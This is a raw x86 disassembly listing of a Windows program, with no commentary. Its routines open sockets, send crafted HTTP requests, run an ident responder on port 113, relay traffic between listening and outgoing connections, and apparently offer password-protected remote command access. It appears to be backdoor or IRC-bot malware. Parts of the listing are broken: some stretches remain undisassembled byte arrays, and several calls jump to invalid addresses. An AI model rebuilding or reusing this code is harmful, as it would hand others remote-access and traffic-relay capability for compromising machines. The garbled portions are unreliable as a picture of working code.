arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CAEE4
		push	6
		push	1
		push	2
		call	dword_4CAFF4
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CAF74
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AAF9
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B8
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410154
		mov	eax, offset dword_43D128


loc_410154:				; CODE XREF: sub_4100DB+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CAFC4
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CAF8C
		pop	esi


loc_4101B8:				; CODE XREF: sub_4100DB+6Bj
		push	ebx
		call	dword_4CB00C
		call	dword_4CAECC
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F8
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_4101F8:				; CODE XREF: sub_4100DB+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DB	endp

; ---------------------------------------------------------------------------


loc_4101FC:				; DATA XREF: ___:00401666o
					; sub_401ACD+4369o
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CAF74
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CAFF4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410360
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43DEBC[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		push	5
		push	ebx
		call	dword_4CAF9C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410287:				; CODE XREF: ___:004102E6j
					; ___:00410349j ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035B
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433F9C
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410287
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F7F
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	loc_410287
		mov	dword ptr [ebp-8], 1
		jmp	loc_410287
; ---------------------------------------------------------------------------


loc_41035B:				; CODE XREF: ___:0041029Cj
		cmp	[ebp-8], esi
		jnz	short loc_410387


loc_410360:				; CODE XREF: ___:00410243j
					; ___:00410267j ...
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433F58
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_410387:				; CODE XREF: ___:0041035Ej
		push	ebx
		call	dword_4CB00C
		push	dword ptr [ebp-4]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx


loc_4103AA:				; DATA XREF: sub_401ACD+613Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410516
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43DEBC[ecx], eax
		call	dword_4CAE84
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFA0
		test	eax, eax
		jnz	loc_410516
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CAF9C
		test	eax, eax
		jnz	loc_410516


loc_41045A:				; CODE XREF: ___:00410470j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB008
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045A
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_434004
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F6
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43DEB4[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053B
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		dw 25E8h
		dd 8B0225FBh, 0C969C44Dh, 234h,	8189C63Bh, 43DEC4h, 75391374h
		dd 63850FD0h, 6AFFFFFFh, 2CE89032h, 0EB02250Ah,	0F4E890EDh
		dd 50022604h, 433FC868h, 4D0EE800h, 59590000h
; ---------------------------------------------------------------------------
		jmp	short loc_410519
; ---------------------------------------------------------------------------


loc_410516:				; CODE XREF: ___:0041040Dj
					; ___:00410441j ...
		mov	edi, [ebp+8]


loc_410519:				; CODE XREF: ___:00410514j
		push	edi
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-40h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi


loc_41053B:				; DATA XREF: ___:004104CEo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CAFF4
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F1
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CAF74
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CB
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CAFF8
		jmp	short loc_4105D9
; ---------------------------------------------------------------------------


loc_4105CB:				; CODE XREF: ___:004105BAj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CAF2C


loc_4105D9:				; CODE XREF: ___:004105C9j
		cmp	eax, edi
		jz	loc_4106F1
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F1
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_43408C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F6
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43DEBC[ebx]
		mov	dword_43DEB4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43DEC0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410722
		push	edi
		push	edi
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4106DE


loc_41068B:				; CODE XREF: ___:00410698j
		cmp	[ebp-20h], edi
		jnz	short loc_41069A
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_41068B
; ---------------------------------------------------------------------------


loc_41069A:				; CODE XREF: ___:0041068Ej
		mov	ebx, 1000h


loc_41069F:				; CODE XREF: ___:004106DAj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAF8C
		cmp	eax, edi
		jle	short loc_4106F1
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41069F
		jmp	short loc_4106F1
; ---------------------------------------------------------------------------


loc_4106DE:				; CODE XREF: ___:00410689j
		call	near ptr 26709FBh
		nop
		push	eax
		push	offset unk_43404C
		call	sub_415220
		pop	ecx
		pop	ecx


loc_4106F1:				; CODE XREF: ___:0041057Fj
					; ___:004105DBj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43DEBC[eax]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-4]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx


loc_410722:				; DATA XREF: ___:0041066Bo
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_410759:				; CODE XREF: ___:0041079Ej
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43DEC0[esi]
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_4107A0
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43DEBC[esi]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410759


loc_4107A0:				; CODE XREF: ___:00410783j
		push	dword_43DEC0[esi]
		call	dword_4CB00C
		push	dword ptr [ebp-14h]
		call	sub_40B412
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		db 0E8h
		dd 22BF844h
		db 90h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43DEBC[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CAF5C
		test	eax, eax
		jnz	short loc_410843
		push	dword ptr [esi]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		call	near ptr 26D0000h
		nop


loc_410843:				; CODE XREF: ___:00410829j
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAF8C
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CAEC8
		test	eax, eax
		jz	short loc_4108BC
		call	dword_4CAF08
		push	eax
		push	offset unk_434164
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	edi
		call	near ptr 26D0000h
		nop


loc_4108BC:				; CODE XREF: ___:00410897j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, edi
		jnz	short loc_4108E6
		push	dword ptr [ebp-18h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F4
; ---------------------------------------------------------------------------


loc_4108E6:				; CODE XREF: ___:004108CCj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0


loc_4108F4:				; CODE XREF: ___:004108E4j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_43D128
		push	dword ptr [esi]
		call	dword_4CAFC4
		cmp	dword_4CDCD8, edi
		jnz	short loc_410956
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1E
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410956
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CAFC4
		push	dword ptr [esi]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h


loc_410956:				; CODE XREF: ___:0041090Bj
					; ___:0041092Cj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434128
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_410CD5
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099D
		call	near ptr 26709FBh
		nop
		push	eax
		push	offset unk_4340FC
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	ebx
		call	near ptr 26D0000h
		nop


loc_41099D:				; CODE XREF: ___:00410978j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4340D0
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 10h
		push	edi
		call	near ptr 26D0000h
		nop

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C4	proc near		; CODE XREF: ___:00410859p
					; ___:00410866p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		cmp	eax, 1
		jnz	short loc_410A14
		mov	esi, [ebp+arg_4]


loc_4109E2:				; CODE XREF: sub_4109C4+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A09
		test	al, al
		jz	short loc_410A18
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		cmp	eax, 1
		jz	short loc_4109E2
		jmp	short loc_410A14
; ---------------------------------------------------------------------------


loc_410A09:				; CODE XREF: sub_4109C4+27j
		push	offset unk_434190
		call	sub_415220
		pop	ecx


loc_410A14:				; CODE XREF: sub_4109C4+19j
					; sub_4109C4+43j
		xor	eax, eax
		jmp	short loc_410A1B
; ---------------------------------------------------------------------------


loc_410A18:				; CODE XREF: sub_4109C4+2Bj
		push	1
		pop	eax


loc_410A1B:				; CODE XREF: sub_4109C4+52j
		pop	esi
		leave
		retn
sub_4109C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1E	proc near		; CODE XREF: ___:00410922p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A49
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4341BC
		call	sub_415220
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_410A49:				; CODE XREF: sub_410A1E+11j
		push	1
		pop	eax
		retn
sub_410A1E	endp

; ---------------------------------------------------------------------------
byte_410A4D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+23D4o
		dd 5A4EC81h, 458B0000h,	6A575608h, 0F08B5978h, 0FDECBD8Dh
		dd 16AFFFFh, 895FA5F3h,	1DCB8h,	5C858D00h, 50FFFFFAh, 20268h
		dd 0E415FF00h, 33004CAEh, 74C63BF6h, 2C68501Dh,	0E8004343h
		dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h
		dd 6857022Bh, 410CCBh, 35012BE8h, 0C0859002h, 40E82975h
		dd 900225FFh, 42E86850h, 59E80043h, 59000047h, 0CC15FF59h
		dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 21E89057h,	53022BF5h
		dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h
		dd 0B075FF00h, 0AF7415FFh, 66A004Ch, 66026A57h,	89E24589h
		dd 15FFE475h, 4CAFF4h, 0FB83D88Bh, 3B840FFFh, 8B000001h
		dd 106AB445h, 234C069h,	98890000h, 43DEBCh, 50E0458Dh
		dd 0A015FF53h, 85004CAFh, 17850FC0h, 68000001h,	7FFFFFFFh
		dd 9C15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342ACh
		dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h
		dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB008h
		dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h
		dd 0FFFF68h, 15FF5700h,	4CAF54h, 74FFF883h, 45B70FC5h
		dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB00015h, 858D5000h
		dd 0FFFFFBECh, 43426868h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h
		dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh,	0A50CE850h
		dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh,	0B4888924h
		dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh,	4107BFh
		dd 56F0458Dh, 0E5E89050h, 8B0225F3h, 0C969B84Dh, 234h
		dd 8189C63Bh, 43DEC4h, 75391374h, 37850FC8h, 6AFFFFFFh
		dd 0ECE89032h, 0EB022502h, 0B4E890EDh, 500225FDh, 43422C68h
		dd 45CEE800h, 59590000h, 7D8B03EBh, 815FF08h, 50004CAFh
		dd 0FBEC858Dh, 0F468FFFFh, 50004341h, 0AC15E8h,	0CC48300h
		dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh,	0FDF0858Dh
		dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h
		dd 50FFFFFBh, 4507E8h, 0FF575900h, 4CB00C15h, 15FF5300h
		dd 4CB00Ch, 0AECC15FFh,	75FF004Ch, 0A750E8B4h, 5659FFFFh
		dd 2BF337E8h, 335B9002h, 244439C0h, 0C0940F04h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD5	proc near		; CODE XREF: ___:0041096Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E26
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43DEBC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF8
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D40
		nop
		call	near ptr 26709FBh
		push	eax
		push	offset unk_43438C
		call	sub_415220
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7A
; ---------------------------------------------------------------------------


loc_410D40:				; CODE XREF: sub_410CD5+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AA
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D81
		nop
		call	near ptr 26709FBh
		push	eax
		push	offset unk_43438C
		call	sub_415220
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	near ptr 268082Dh
		nop


loc_410D7A:				; CODE XREF: sub_410CD5+69j
		xor	eax, eax
		jmp	loc_410E21
; ---------------------------------------------------------------------------


loc_410D81:				; CODE XREF: sub_410CD5+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 2760EA5h
		sub	eax, ebx
		jz	short loc_410DDB
		dec	eax
		jz	short loc_410DD5
		dec	eax
		jz	short loc_410DC1
		nop
		call	near ptr 26709FBh
		push	eax
		push	offset unk_434358
		call	sub_415220
		pop	ecx
		pop	ecx
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------


loc_410DC1:				; CODE XREF: sub_410CD5+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------


loc_410DD5:				; CODE XREF: sub_410CD5+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DDF
; ---------------------------------------------------------------------------


loc_410DDB:				; CODE XREF: sub_410CD5+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_410DDF:				; CODE XREF: sub_410CD5+104j
		nop
		call	near ptr 268082Dh
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 26F0B1Dh


loc_410DF0:				; CODE XREF: sub_410CD5+EAj
					; sub_410CD5+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CB00C
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax


loc_410E21:				; CODE XREF: sub_410CD5+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E26	proc near		; CODE XREF: sub_410CD5+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F10
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E89
		nop
		call	near ptr 26709FBh
		push	eax
		push	offset unk_43443C
		jmp	short loc_410EA9
; ---------------------------------------------------------------------------


loc_410E89:				; CODE XREF: sub_410E26+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB1
		nop
		call	near ptr 26709FBh
		push	eax
		push	offset unk_4343FC


loc_410EA9:				; CODE XREF: sub_410E26+61j
		call	sub_415220
		pop	ecx
		jmp	short loc_410EDF
; ---------------------------------------------------------------------------


loc_410EB1:				; CODE XREF: sub_410E26+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F1F
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F14
		push	offset unk_4343D4
		call	sub_4151AC


loc_410EDF:				; CODE XREF: sub_410E26+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEB
		push	[ebp+var_4]
		call	edi


loc_410EEB:				; CODE XREF: sub_410E26+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF6
		push	[ebp+var_8]
		call	edi


loc_410EF6:				; CODE XREF: sub_410E26+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410EFF
		push	eax
		call	edi


loc_410EFF:				; CODE XREF: sub_410E26+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F09
		push	eax
		call	edi


